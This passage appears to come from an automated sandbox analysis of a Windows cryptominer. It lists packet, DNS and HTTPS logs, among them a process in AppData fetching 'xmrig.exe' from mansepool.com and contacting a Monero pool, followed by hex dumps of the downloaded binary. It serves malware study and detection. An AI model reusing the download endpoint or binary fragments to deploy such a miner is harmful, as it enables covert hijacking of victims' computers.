May 10, 2023 02:21:57.189306021 CEST	3333	49706	141.94.96.144	192.168.2.3
May 10, 2023 02:21:57.428803921 CEST	49706	3333	192.168.2.3	141.94.96.144
May 10, 2023 02:22:07.280678034 CEST	3333	49706	141.94.96.144	192.168.2.3
May 10, 2023 02:22:07.414058924 CEST	49706	3333	192.168.2.3	141.94.96.144
May 10, 2023 02:22:17.489561081 CEST	3333	49706	141.94.96.144	192.168.2.3
May 10, 2023 02:22:17.555527925 CEST	49706	3333	192.168.2.3	141.94.96.144
May 10, 2023 02:22:29.058092117 CEST	3333	49706	141.94.96.144	192.168.2.3
May 10, 2023 02:22:29.103451014 CEST	49706	3333	192.168.2.3	141.94.96.144
May 10, 2023 02:22:39.842195034 CEST	3333	49706	141.94.96.144	192.168.2.3
May 10, 2023 02:22:40.041946888 CEST	49706	3333	192.168.2.3	141.94.96.144
May 10, 2023 02:22:40.309456110 CEST	3333	49706	141.94.96.144	192.168.2.3
May 10, 2023 02:22:40.541897058 CEST	49706	3333	192.168.2.3	141.94.96.144
May 10, 2023 02:22:59.981398106 CEST	3333	49706	141.94.96.144	192.168.2.3
May 10, 2023 02:23:00.105999947 CEST	49706	3333	192.168.2.3	141.94.96.144
May 10, 2023 02:23:30.595129013 CEST	3333	49706	141.94.96.144	192.168.2.3
May 10, 2023 02:23:30.639821053 CEST	49706	3333	192.168.2.3	141.94.96.144

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 10, 2023 02:21:16.675990105 CEST	49977	53	192.168.2.3	8.8.8.8
May 10, 2023 02:21:16.721546888 CEST	53	49977	8.8.8.8	192.168.2.3
May 10, 2023 02:21:25.139854908 CEST	57840	53	192.168.2.3	8.8.8.8
May 10, 2023 02:21:25.166583061 CEST	53	57840	8.8.8.8	192.168.2.3
May 10, 2023 02:21:25.738604069 CEST	57990	53	192.168.2.3	8.8.8.8
May 10, 2023 02:21:25.762339115 CEST	53	57990	8.8.8.8	192.168.2.3
May 10, 2023 02:21:27.091559887 CEST	52387	53	192.168.2.3	8.8.8.8
May 10, 2023 02:21:27.126866102 CEST	53	52387	8.8.8.8	192.168.2.3

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
May 10, 2023 02:21:16.675990105 CEST	192.168.2.3	8.8.8.8	0xc06a	Standard query (0)	mansepool.com	A (IP address)	IN (0x0001)	false
May 10, 2023 02:21:25.139854908 CEST	192.168.2.3	8.8.8.8	0xa876	Standard query (0)	pastebin.com	A (IP address)	IN (0x0001)	false
May 10, 2023 02:21:25.738604069 CEST	192.168.2.3	8.8.8.8	0xffbf	Standard query (0)	raw.githubusercontent.com	A (IP address)	IN (0x0001)	false
May 10, 2023 02:21:27.091559887 CEST	192.168.2.3	8.8.8.8	0x443d	Standard query (0)	pool.supportxmr.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
May 10, 2023 02:21:16.721546888 CEST	8.8.8.8	192.168.2.3	0xc06a	No error (0)	mansepool.com		116.203.249.172	A (IP address)	IN (0x0001)	false
May 10, 2023 02:21:25.166583061 CEST	8.8.8.8	192.168.2.3	0xa876	No error (0)	pastebin.com		172.67.34.170	A (IP address)	IN (0x0001)	false
May 10, 2023 02:21:25.166583061 CEST	8.8.8.8	192.168.2.3	0xa876	No error (0)	pastebin.com		104.20.67.143	A (IP address)	IN (0x0001)	false
May 10, 2023 02:21:25.166583061 CEST	8.8.8.8	192.168.2.3	0xa876	No error (0)	pastebin.com		104.20.68.143	A (IP address)	IN (0x0001)	false
May 10, 2023 02:21:25.762339115 CEST	8.8.8.8	192.168.2.3	0xffbf	No error (0)	raw.githubusercontent.com		185.199.108.133	A (IP address)	IN (0x0001)	false
May 10, 2023 02:21:25.762339115 CEST	8.8.8.8	192.168.2.3	0xffbf	No error (0)	raw.githubusercontent.com		185.199.109.133	A (IP address)	IN (0x0001)	false
May 10, 2023 02:21:25.762339115 CEST	8.8.8.8	192.168.2.3	0xffbf	No error (0)	raw.githubusercontent.com		185.199.110.133	A (IP address)	IN (0x0001)	false
May 10, 2023 02:21:25.762339115 CEST	8.8.8.8	192.168.2.3	0xffbf	No error (0)	raw.githubusercontent.com		185.199.111.133	A (IP address)	IN (0x0001)	false
May 10, 2023 02:21:27.126866102 CEST	8.8.8.8	192.168.2.3	0x443d	No error (0)	pool.supportxmr.com	pool-fr.supportxmr.com		CNAME (Canonical name)	IN (0x0001)	false
May 10, 2023 02:21:27.126866102 CEST	8.8.8.8	192.168.2.3	0x443d	No error (0)	pool-fr.supportxmr.com		141.94.96.71	A (IP address)	IN (0x0001)	false
May 10, 2023 02:21:27.126866102 CEST	8.8.8.8	192.168.2.3	0x443d	No error (0)	pool-fr.supportxmr.com		141.94.96.144	A (IP address)	IN (0x0001)	false
May 10, 2023 02:21:27.126866102 CEST	8.8.8.8	192.168.2.3	0x443d	No error (0)	pool-fr.supportxmr.com		141.94.96.195	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

mansepool.com

pastebin.com

raw.githubusercontent.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.3	49703	116.203.249.172	443	C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe

Timestamp	kBytes transferred	Direction	Data
2023-05-10 00:21:17 UTC	0	OUT	GET /pspp HTTP/1.1 Host: mansepool.com Connection: Keep-Alive
2023-05-10 00:21:17 UTC	0	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Disposition: attachment; filename="xmrig.exe" Content-Length: 7433216 Content-Type: application/x-ms-dos-executable Last-Modified: Tue, 09 May 2023 14:00:19 GMT Date: Wed, 10 May 2023 00:21:18 GMT Connection: close
2023-05-10 00:21:17 UTC	0	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 64 86 0d 00 40 2b 9d 60 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 19 00 06 34 00 00 12 41 00 00 00 00 00 1a 6b ca 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 70 1d 01 00 04 00 00 00 00 00 00 02 00 60 81 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEd@+`"4Ak@p`
2023-05-10 00:21:17 UTC	1	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 15 b0 09 da 73 66 af 5c 50 07 7d 56 cb 50 38 37 33 20 dd 76 dd 53 c0 35 9d 28 e6 62 bf 2b 31 32 00 2e e2 48 19 47 42 7b d9 36 6d 0c e4 17 91 29 90 39 28 64 72 61 f1 4a 9f 7a b1 7f af 27 05 58 f7 15 d2 49 a6 23 0e 28 9f 37 f8 1a 47 61 01 57 9f 47 e7 6f 67 6a dd 51 1c 0d ad 78 08 23 3b 7d c4 0c d4 13 db 3a 26 2a 6d 26 dc 09 03 58 2e 4d f8 35 e9 1c 1c 5f b8 2b 7c 3b b8 40 7c 7c 98 73 a1 4e d7 0e b8 52 e2 70 49 61 16 4b 6a 72 fc 55 76 15 39 Data Ascii: sf\P}VP873 vS5(b+12.HGB{6m)9(draJz'XI#(7GaWGogjQx#;}:&*m&X.M5_+\|;@\|\|sNRpIaKjrUv9
2023-05-10 00:21:17 UTC	3	IN	Data Raw: f7 e0 16 e2 e3 d0 56 0c 02 6b e1 51 9f 31 0f a8 77 8e 54 74 b4 81 ad 55 92 eb 73 39 98 e3 77 a4 df 71 01 3e a8 d9 3c 2d a9 48 85 a3 6c 2c e9 45 01 04 ac 57 e2 79 72 8b 28 63 c6 e8 c1 af 76 58 77 df 8b 54 86 5f 88 53 17 ea 44 5c 89 cd 4f d0 80 cd 21 c3 02 95 6d c5 6b 9c a5 76 a4 df 31 0c 12 c5 90 54 d5 2a d9 85 8c b9 84 80 8c 5a 0d fd 18 23 3c e2 9e e4 77 a4 df 91 10 5b fa c0 e0 13 f5 f7 65 2c 67 43 67 ea eb 60 07 ff e8 45 6b a8 72 b2 1c bc 54 17 d5 17 54 8f 4d b2 10 7f f2 a6 3d c2 e8 df 8d 0e 70 b2 eb 76 84 8d 02 5b 8f 9f 6d f9 f6 94 a5 76 a4 df 71 2e e8 6d 13 56 40 4a f4 8c f4 3b 6e f4 fb a4 75 a7 e8 8b 4b c5 dc 1a ff b8 50 0e c0 88 5d 46 76 5d 3b 39 3c 4b 8f 50 9d c7 c9 4a 8a 45 06 4a ca ff 4a 7c 20 da d4 20 a6 1d fc ff ff 9f 45 75 d8 a8 79 d1 6c ea 62 Data Ascii: VkQ1wTtUs9wq><-Hl,EWyr(cvXwT_SD\O!mkv1T*Z#<w[e,gCg`EkrTTM=pv[mvq.mV@J;nuKP]Fv];9<KPJEJJ\| Euylb
2023-05-10 00:21:17 UTC	4	IN	Data Raw: c0 07 59 b0 00 d5 44 37 07 d0 9e f1 11 b0 54 cf b1 89 e7 24 f4 7f 68 db ec 0b 02 e3 7a 2a e9 76 0f c3 5b 56 91 ac 0c 82 b4 b8 36 81 4d 0f df 35 87 8a d5 63 c1 80 d5 b2 50 54 95 75 32 3b 9c bd 20 3c b3 82 d1 89 84 bd 8f 64 4f 26 ce b1 c2 e6 aa a6 c3 10 5a c0 59 59 6c 65 4e 15 47 d3 7a eb df c4 86 d4 77 50 66 1e 7b fe db 9a fc 21 3c b3 c2 34 e7 ef 0d 7b 56 36 93 e0 48 11 55 29 43 0f 45 a4 39 e9 99 1d 40 ca 64 6c b3 85 f0 18 72 3d 82 d5 ca c6 83 15 aa 2e a6 9e 35 01 83 95 bd 20 3c b3 02 50 fd b5 f1 8b a9 64 53 ed b1 41 5d 9e 71 4e 04 ae 10 81 14 d0 51 7c ab b7 82 d2 07 b1 9b 69 63 60 eb c8 77 a4 54 a0 ff d0 b1 4c b6 87 9f 14 3a 2d 66 2b 26 2d ed f5 04 54 c5 71 03 21 3c b3 62 78 df ff 05 ca a0 ce e4 85 67 56 cc d4 4e ce 25 dd a8 d6 5c da 59 85 8c 82 25 d5 63 Data Ascii: YD7T$hz*v[V6M5cPTu2; <dO&ZYYleNGzwPf{!<4{V6HU)CE9@dlr=.5 <PdSA]qNQ\|ic`wTL:-f+&-Tq!<bxgVN%\Y%c
2023-05-10 00:21:17 UTC	8	IN	Data Raw: 48 82 f1 58 18 69 38 e8 c4 22 e6 01 b7 98 4a 84 95 8d 01 9c 24 35 ff 09 cc 8e 00 15 32 a5 7e c2 e6 ae 13 2e e1 cd 3a e1 13 10 3e 3b 8b 1f 12 09 cd 3d 19 bd bb 52 5a fc 6f b3 d9 50 3c c5 59 54 76 2a 93 9f 73 5d a7 23 9b c9 33 af 00 8f b6 35 73 d6 27 84 de cf 7c 95 b8 d7 64 3f 8e 2c bf 70 de f1 12 4f 72 c2 d6 9e d5 71 17 cc 3e de af b7 a7 98 70 11 4f 4b f0 9e 2a 09 8d 5a ee 70 da 03 41 d7 d7 26 ca d8 f3 46 cd 69 8a 11 dd 1f 0c 9b cc 71 2f 0c 70 d2 aa b8 a8 18 72 26 18 4b 39 8e 95 b6 b4 07 f6 76 ad 25 65 7b e2 f3 3f 2b b0 7a 6b 94 f7 88 a5 b5 0b fd 79 45 54 99 50 2f a1 b1 df 98 f6 07 16 75 f0 a0 15 04 32 fa 30 6d 7d c5 c3 91 2e 3f 3d cb 37 d9 c8 22 86 f7 f6 e6 69 b5 a6 4a 5b 83 34 b0 9a 8b 28 e8 88 dd cd b7 e2 79 b5 a4 25 4f 2f a1 b1 63 87 f6 d7 c6 c9 ef a0 Data Ascii: HXi8"J$52~.:>;=RZoP<YTvs]#35s'\|d?,pOrq>pOKZpA&Fiq/pr&K9v%e{?+zkyETP/u20m}.?=7"iJ[4(y%O/c
2023-05-10 00:21:17 UTC	14	IN	Data Raw: 5f 7d 13 06 c9 b6 58 4b 1c df aa d6 36 a9 a3 68 21 c9 4e 10 23 b8 81 e9 e4 82 14 75 ef 05 dd 36 72 c7 3d 48 3e b7 2a 84 fa fd a4 ab 36 51 ab 83 4d 7e 41 90 8b ea cd f7 62 c5 a9 e5 d1 fe e6 8f 1d 76 57 3b 70 0e ad e0 e4 72 aa fd 80 5b ae d1 a3 c1 77 b9 94 07 b8 77 71 36 16 36 88 cd 15 3c 38 88 c7 66 e1 cc 77 ed 0c 60 b0 77 7b 16 35 28 88 fc 5c 81 3d 88 a0 05 ff ce 77 8f a5 de b6 77 a4 63 4c cf 77 59 2c 97 3c 88 0d 48 c7 4c 88 ba 22 d6 c2 77 e9 19 fc cc 77 8c ca 21 38 88 41 e0 a0 44 88 e7 f2 f5 dc 77 18 a8 41 c9 77 44 96 a2 4c c8 00 00 47 6c 6f 62 61 6c 4d 65 6d 6f 72 79 53 74 61 74 75 73 45 78 00 00 00 00 47 65 74 4c 6f 67 69 63 61 6c 50 72 6f 63 65 73 73 6f 72 49 6e 66 6f 72 6d 61 74 69 6f 6e 00 2c b9 0a e2 18 7c fe 25 db d2 da d6 b5 65 e1 ab 48 04 f0 a2 Data Ascii: _}XK6h!N#u6r=H>*6QM~AbvW;pr[wwq66<8fw`w{5(\=wwcLwY,<HL"ww!8ADwAwDLGlobalMemoryStatusExGetLogicalProcessorInformation,\|%eH
2023-05-10 00:21:17 UTC	21	IN	Data Raw: 84 35 cb 29 cb 64 a5 78 78 32 f3 ff 3d 15 23 0b 3d b0 52 21 d3 3c e4 49 d4 1c c4 55 ba df b4 b6 0e 50 d9 14 68 29 e0 22 4b b5 d8 6c df bc 19 b6 65 dc 5c c6 8a 72 26 7b 35 0b bb 26 9b b5 68 ea df 0c c7 75 87 ce f4 0d 74 b8 cc 1c fa 4d 41 c2 18 ac ac 44 27 87 b0 b6 92 ac 54 24 d6 95 4c 8b 16 e0 4d 0a 0e 74 16 5e 00 f2 b0 90 d5 43 90 e2 30 e3 89 ae 6f 96 01 54 98 f5 51 e9 f2 cc 34 39 85 6b 80 ff 27 d9 97 c5 b1 09 7c 35 33 17 c1 cc ce dc 30 0e aa 98 76 ee 85 cc 94 a8 38 54 8e ff 34 bf 40 cf ac 13 90 4b 56 fe 5b 74 3e c1 5c 0c fc 84 bd ff c8 22 f9 39 6b c4 a6 70 56 00 2e aa 2d c3 d4 85 4d d2 48 fe 10 55 8b ac ff 00 aa 86 bb ff a2 22 3f a9 ff ad 61 cf 52 00 14 c4 9c ae ff 65 5b 8e 4d 00 cc b8 5e 6d 00 4b e8 64 41 fe 65 1a 6f a9 ff 19 3c ff 96 ff fc 27 3e b4 01 Data Ascii: 5)dxx2=#=R!<IUPh)"Kle\r&{5&hutMAD'T$LMt^C0oTQ49k'\|530v8T4@KV[t>\"9kpV.-MHU"?aRe[M^mKdAeo<'>
2023-05-10 00:21:17 UTC	29	IN	Data Raw: 68 aa 1a 91 97 13 1a d2 97 31 a7 85 94 0c d0 7c 69 91 f8 cf 08 ea 72 b4 3b ec a8 28 3b 58 83 20 84 13 68 1b cc 70 64 e8 5c a8 b4 2e 8e f7 d7 d3 f3 36 23 ad e8 07 33 a8 0c 51 d8 7b a7 72 4c bb 35 7e 7a 88 1d b2 8b ef a6 4d c3 14 98 03 15 5b 5b 0f 95 7b a9 42 b6 56 7b 7b ac 10 38 25 3d 04 18 13 c9 77 66 8a ee d9 52 3a 8f 95 f4 ce ea a6 1d 2c 84 3c 40 00 4f ca cc 08 c4 e9 4d 29 f5 ea b9 3c 1e 8a 4f e1 a4 58 95 d9 8f 56 49 e4 1a 8f 84 1e 32 03 5f 42 f9 d5 2b a8 d2 11 ef 3b ec 4d 5a 6f de d1 ac b0 8b 68 d3 12 33 31 bb d1 67 f3 06 49 48 12 c9 e3 2a 46 72 f2 a7 96 ec 33 b8 39 98 f8 6c d5 51 cc fc 7d ab 0c 99 87 a1 07 c9 75 05 d5 80 7d 0d 0f a0 48 7c 85 2a a6 9e 5a ff 49 58 51 a4 64 a8 83 11 31 90 b7 f7 46 ca dc 43 13 08 a0 53 20 7c a8 0c 7b 10 e4 78 80 0c 90 a3 Data Ascii: h1\|ir;(;X hpd\.6#3Q{rL5~zM[[{BV{{8%=wfR:,<@OM)<OXVI2_B+;MZoh31gIHFr39lQ}u}H\|ZIXQd1FCS \|{x
2023-05-10 00:21:17 UTC	32	IN	Data Raw: ac 23 07 d1 5f 6b 60 08 d1 2c 41 22 4a c0 70 37 39 fb 2e 84 54 43 85 2e 23 05 3a a3 3f 60 8f af 1f d1 3c bf 63 b1 c0 96 45 08 85 2e 26 15 c7 a1 3f 3c 26 42 48 c0 73 b4 e6 f2 2e 47 8a 63 14 46 a2 e1 33 1c 86 35 cb 4c 02 3c b7 ce 96 c0 da a6 ce 1c 66 be 32 52 70 bc 49 d5 26 59 2f de 1b 46 4f f1 61 04 7c e1 d8 51 c0 e4 e0 96 5a 6f 0f 2d d1 91 e4 41 0f b6 21 0c 06 e4 09 a6 f9 8e e5 1f f4 60 0d 38 7b 7c 64 9d 04 81 a3 2b 7c 30 8b 63 67 13 f0 8c c3 a6 7f da 79 5c 21 ff b8 8f 83 2f f7 6d a3 23 15 1b 55 66 bc d1 aa 3b 6d 7c 8e cf f5 93 23 a5 7e 70 6b 9c 58 33 bb 92 03 a2 53 3b 69 5c e5 a2 0f 63 9c d9 1d cf 64 3c f8 59 e5 91 a3 57 61 87 67 7c b1 49 52 4b dc ab b5 6a 8e 43 4f b5 0e 33 80 c4 de 46 f9 0b 23 57 26 f9 54 f2 2e 00 e8 97 e8 bb bc 06 5b a8 77 12 17 81 3a Data Ascii: #_k`,A"Jp79.TC.#:?`<cE.&?<&BHs.GcF35L<f2RpI&Y/FOa\|QZo-A!`8{\|d+\|0cgy\!/m#Uf;m\|#~pkX3S;i\cd<YWag\|IRKjCO3F#W&T.[w:
2023-05-10 00:21:17 UTC	42	IN	Data Raw: c3 8c c9 3f d2 e2 21 17 ca ef de 1a a9 89 71 76 2a b9 48 03 a7 d8 eb 31 91 7e 02 3c f1 97 ef 81 a6 99 bd 04 5e c3 d4 d4 0e 69 9c 0b 5a 14 95 b0 6d 01 5f 4e fd f5 78 13 57 ca 8a 0f c6 0a 4a dd dc 02 01 d5 29 42 4a 3e 5f 7b df 85 ac 1a 13 58 0e ee fb d2 0a d5 5a 59 e8 a9 11 bf 14 e8 8b 1d ba 9b 05 f3 08 a3 fd a1 aa 82 df 64 e9 71 e6 06 5e a3 13 72 99 56 f9 7e 78 78 d3 17 1c 5e 9e 03 61 8a f6 01 1a b3 83 46 c8 b2 6a 5e 62 58 c5 71 0b d5 5a 41 a2 3b f6 04 15 ac 43 60 dc 76 2e 5c d8 16 50 1c b3 8f e2 c8 b4 d8 6f a3 e3 5e 20 b4 39 cb c7 10 0e 83 8f 31 50 1c 71 0f c0 c6 d4 82 0b 00 c0 5a 50 48 ba 67 c2 ae 73 cc 19 1b eb c2 2e b2 2b 95 73 40 9c 1f 14 db f0 3d 60 85 54 de d9 1b 40 92 36 14 4b e7 4f fd e2 40 e6 4f 00 89 9d 12 b0 02 3a 77 8d ee 21 b4 85 78 9b 04 d7 Data Ascii: ?!qv*H1~<^iZm_NxWJ)BJ>_{XZYdq^rV~xx^aFj^bXqZA;C`v.\Po^ 91PqZPHgs.+s@=`T@6KO@O:w!x
2023-05-10 00:21:17 UTC	54	IN	Data Raw: b4 0a b5 8a b5 0a b6 8a b6 0a b7 8a b7 0a b8 8a b8 0a ba 8a ba 0a bb 8a bb 0a bc 8a bc 0a bd 8a bd 0a be 8a be 0a bf 8a bf 0a c0 8a c0 0a c1 8a c1 0a c2 8a c2 0a c3 8a c3 0a c4 8a c4 0a c5 8a c5 0a c6 8a c6 0a c8 8a c8 0a c9 8a c9 0a ca 8a ca 0a cb 8a cb 0a cc 8a cc 0a cd 8a cd 0a ce 8a ce 0a cf 8a cf 0a d0 8a d0 0a d1 8a d1 0a d2 8a d2 0a d3 8a d3 0a d4 8a d4 0a d6 8a d6 0a d7 8a d7 0a d8 8a d8 0a d9 8a d9 0a da 8a da 0a db 8a db 0a dc 8a dc 0a dd 8a dd 0a de 8a de 0a df 8a df 0a e0 8a e0 0a e1 8a e1 0a e2 8a e2 0a e4 8a e4 0a e5 8a e5 0a e6 8a e6 0a e7 8a e7 0a e8 8a e8 0a e9 8a e9 0a ea 8a ea 0a eb 8a eb 0a ec 8a ec 0a ed 8a ed 0a ee 8a ee 0a ef 8a ef 0a f0 8a f0 0a f2 8a f2 0a f3 8a f3 0a f4 8a f4 0a f5 8a f5 0a f6 8a f6 0a f7 8a f7 0a f8 8a f8 0a f9 Data Ascii:
2023-05-10 00:21:17 UTC	64	IN	Data Raw: 23 0a 24 0a 25 0a 26 8a 26 8a 27 8a 28 0a 29 0a 2a 0a 2b 8a 2b 8a 2c 8a 2d 0a 2e 0a 2f 0a 30 8a 30 8a 31 8a 32 0a 33 0a 34 0a 35 8a 35 8a 36 8a 37 0a 38 0a 39 0a 3a 8a 3a 8a 3b 8a 3c 0a 3d 0a 3e 0a 3f 8a 3f 8a 40 8a 41 0a 42 0a 43 0a 44 8a 44 8a 45 8a 46 0a 47 0a 48 0a 49 8a 49 8a 4a 8a 4b 0a 4c 0a 4d 0a 4e 8a 4e 8a 4f 8a 50 0a 51 0a 52 0a 53 8a 53 8a 54 8a 55 0a 56 0a 57 0a 58 8a 58 8a 59 8a 5a 0a 5b 0a 5c 0a 5d 8a 5d 8a 5e 8a 5f 0a 60 0a 61 0a 62 8a 62 8a 63 8a 64 0a 65 0a 66 0a 67 8a 67 8a 68 8a 69 0a 6a 0a 6c 8a 6c 8a 6e 0a 6f 0a 71 8a 71 8a 73 0a 74 0a 76 8a 76 8a 78 0a 79 0a 7b 8a 7b 8a 7d 0a 7e 0a 80 8a 80 8a 82 0a 83 0a 85 8a 85 8a 86 8a 87 0a 88 0a 8a 8a 8a 8a 8b 8a 8c 0a 8d 0a 8e 0a 8f 8a 8f 8a 90 8a 91 0a 92 0a 93 0a 94 8a 94 8a 95 8a 96 0a 97 Data Ascii: #$%&&'()*++,-./001234556789::;<=>??@ABCDDEFGHIIJKLMNNOPQRSSTUVWXXYZ[\]]^_`abbcdefgghijllnoqqstvvxy{{}~
2023-05-10 00:21:17 UTC	78	IN	Data Raw: ca 8a ca 0a cb 8a cb 0a cc 8a cc 0a cd 8a cd 0a ce 8a ce 0a cf 8a cf 0a d0 8a d0 0a d1 8a d1 0a d2 8a d2 0a d3 0a d4 8a d4 0a d5 8a d5 0a d6 8a d6 0a d7 8a d7 0a d8 8a d8 0a d9 8a d9 0a da 8a da 0a db 8a db 0a dc 8a dc 0a dd 8a dd 0a de 8a de 0a df 8a df 0a e0 8a e0 0a e1 8a e1 0a e2 8a e2 0a e3 8a e3 0a e4 8a e4 0a e5 8a e5 0a e6 8a e6 0a e7 8a e7 0a e8 8a e8 0a e9 8a e9 00 00 00 e0 3c 00 9c 00 00 00 0a 25 8a 25 0a 26 8a 26 0a 27 8a 27 0a 28 8a 28 0a 29 8a 29 0a 2a 8a 2a 0a 2b 8a 2b 0a 2c 8a 2c 0a 2d 8a 2d 0a 2e 8a 2e 0a 2f 8a 2f 0a 30 8a 30 0a 31 8a 31 0a 32 8a 32 0a 33 8a 33 0a 34 8a 34 0a 35 8a 35 0a 36 8a 36 0a 37 8a 37 0a 38 8a 38 0a 39 8a 39 0a 3a 8a 3a 8a 72 8a 73 8a 74 8a 75 8a 76 8a 77 8a 78 8a 79 8a 7a 8a 7b 8a 7c 8a 7d 8a 7e 8a 7f 8a 80 8a 81 Data Ascii: <%%&&''(())**++,,--..//00112233445566778899::rstuvwxyz{\|}~
2023-05-10 00:21:17 UTC	93	IN	Data Raw: 72 b9 c0 c6 a2 cf 9d 20 e4 4f c4 57 cf f6 b3 91 f0 7e d0 9b 92 1f fb 14 ec ca d8 51 ec 18 ad 9b 9d 72 e3 81 49 f4 ff 34 d9 98 a6 cc 2b 99 03 eb b5 34 9e fb dd 9c 87 1b be 5a 4a 6f bf ec 20 6f 51 ce 65 54 18 52 a2 4e 70 e7 c1 ac 7a ba 4b 86 36 47 28 a9 41 52 61 cd 54 d9 c6 52 90 74 75 12 a2 30 b8 7f ef e6 29 9e 3a 1e 16 1d f0 63 0c 05 a6 b5 15 4d 5f f8 01 e2 a2 05 c0 c7 91 36 c0 71 e9 2f b9 94 36 a3 df e4 93 d0 83 17 c1 14 67 1d 02 b1 70 e6 de 3e 81 a7 e4 49 0d 71 79 2a b6 0e c2 18 23 7c d2 6f b3 79 96 47 52 67 28 3f 25 9c 08 1e a9 c5 6b bf 24 7d 9b 49 e1 47 85 bd 2f fe 8c 69 19 f3 b2 24 36 c4 a7 fd ac ae e1 ca 30 60 b7 18 14 90 32 92 cb 56 87 5b db 14 75 d0 a8 eb ec d6 1f 0a c5 8e 1d 45 e9 27 1f 60 b0 13 96 dc 5a 6b 68 c1 e6 3e 01 3c 32 0b 7c 76 0c ba c1 Data Ascii: r OW~QrI4+4ZJo oQeTRNpzK6G(ARaTRtu0):cM_6q/6gp>Iqy*#\|oyGRg(?%k$}IG/i$60`2V[uE'`Zkh><2\|v
2023-05-10 00:21:17 UTC	96	IN	Data Raw: 6c 9c 53 ca f2 cd 04 fa e3 68 d8 94 aa 69 1d 99 02 5b 65 f3 33 5c 33 75 72 20 76 8b 7d 22 27 dd a6 09 c2 a5 65 b9 37 13 d2 2c 7f 44 67 a9 8a 81 46 36 a8 87 6f 9d 28 b6 91 1d 06 d8 2e fe 36 ff 03 2b 33 64 fa c3 88 25 d3 8a ad 0b 19 7c 27 0f d0 a6 40 90 d3 d5 b3 d1 92 58 0a d3 43 67 20 2a 3d 58 f8 5a c3 05 76 b6 dc bc e4 0a e1 a9 e6 92 d9 8e dd 11 1d 37 5c d2 30 bd 29 17 eb fc c9 29 e9 c9 14 23 7c 15 ba 6d f3 3a 0c 26 03 21 fc 96 ed 8e b6 0a 3c 1b 27 66 12 1c ad 32 d9 27 5f 7d 1a da be 85 c0 a6 35 a9 b1 c1 11 9f 9d d4 03 46 11 53 34 6a 0b e3 9c 23 18 ee 88 73 fa 27 99 90 ab ec 68 83 73 9a 89 50 62 c5 4c 57 56 3a ac 1c b1 64 9c f4 39 3d a4 cf 20 b4 bb d5 f8 13 0f 70 5e 4e e6 84 ca b0 6f 51 73 e3 dd 25 65 0b 51 a0 45 a0 00 a3 84 b8 c9 3c f1 79 a4 ae c4 ee d4 Data Ascii: lShi[e3\3ur v}"'e7,DgF6o(.6+3d%\|'@XCg *=XZv7\0))#\|m:&!<'f2'_}5FS4j#s'hsPbLWV:d9= p^NoQs%eQE<y
2023-05-10 00:21:17 UTC	112	IN	Data Raw: d3 73 75 66 36 af c0 66 80 22 50 22 94 51 2c d6 7b b4 6b 45 95 5d 0a a5 73 b7 69 ab c3 ed 6b ef 69 f4 39 92 46 3d 7c e9 35 28 3a 5a fd 09 cf 68 dd be c4 80 61 0c ff 5b f5 5b 33 5c e6 12 20 00 eb ab 6b 3f 39 78 03 10 ce 92 46 29 3e b4 ed 48 55 e5 ff 7f 58 94 be 77 2b fe 57 90 c1 b7 1d 6e 05 06 bd 95 11 2d 0b 5e b9 d8 4d 2f b0 5a 61 fd ad f6 3e 4c 76 3b db 8e 03 58 05 b5 f1 63 22 be 0b 12 f3 e8 d4 b4 dc e5 34 ac e1 68 86 5b 41 d1 7f 22 27 42 8d b4 bd de bd 20 15 d8 bf 30 98 4a a4 0f 12 44 fa 60 73 21 f5 40 11 34 76 82 d1 be 33 0b e2 41 cb 58 47 f4 7a c3 5e 72 9f e7 d2 17 3f bc de 1e cf 63 b3 87 6c c6 1b 21 42 5b ee 49 a4 77 33 ef b5 74 34 38 8c 54 26 b0 fc 02 a0 61 34 ab ea 07 2c 0d 0a c5 99 9b 8c 23 01 36 a3 50 ed f5 db b2 20 7a b7 e4 91 aa d2 e9 a6 77 36 Data Ascii: suf6f"P"Q,{kE]siki9F=\|5(:Zha[[3\ k?9xF)>HUXw+Wn-^M/Za>Lv;Xc"4h[A"'B 0JD`s!@4v3AXGz^r?cl!B[Iw3t48T&a4,#6P zw6
